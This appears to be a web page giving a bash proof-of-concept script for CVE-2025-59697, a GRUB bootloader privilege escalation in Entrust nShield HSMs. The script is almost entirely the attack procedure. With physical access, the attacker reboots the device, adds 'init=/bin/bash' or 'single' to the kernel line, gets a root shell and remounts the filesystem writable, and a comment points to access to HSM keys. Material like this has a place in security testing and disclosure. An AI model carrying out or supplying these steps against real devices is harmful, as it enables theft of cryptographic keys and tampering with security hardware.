CVE-2025-59697 Entrust nShield HSM GRUB引导配置漏洞导致权限提升

#!/bin/bash # CVE-2025-59697 PoC - nShield HSM GRUB Bootloader Privilege Escalation # This PoC demonstrates the attack chain for F06 vulnerability # Prerequisites: # - Physical access to nShield HSM device # - Device running vulnerable version (<=13.6.11 or 13.7) # - GRUB bootloader without proper password protection echo "=== CVE-2025-59697 nShield HSM GRUB Privilege Escalation PoC ===" echo "Target: Entrust nShield Connect XC / 5c / HSMi" echo "Vulnerability: F06 - GRUB Bootloader Configuration Edit" echo "" # Step 1: Reboot the HSM device echo "Step 1: Reboot the nShield HSM device" # ssh admin@hsmlocal "reboot" # or physical power cycle echo "Step 2: Access GRUB menu during boot sequence" echo "- Press 'e' key to edit GRUB commands" echo "- Or press 'c' for GRUB command line" echo "Step 3: Modify boot parameters to gain root shell" echo "Add the following to kernel boot line:" echo " init=/bin/bash" echo " or" echo " single" echo "Step 4: Boot with modified parameters" echo "- Press 'b' to boot with modified parameters" echo "Step 5: Escalate privileges" cat << 'EOF' # After root shell is obtained: mount -o remount,rw / # Now you have full root access # Can access HSM keys, modify configurations, etc. EOF echo "" echo "=== PoC Complete ===" echo "Note: This is for authorized security testing only"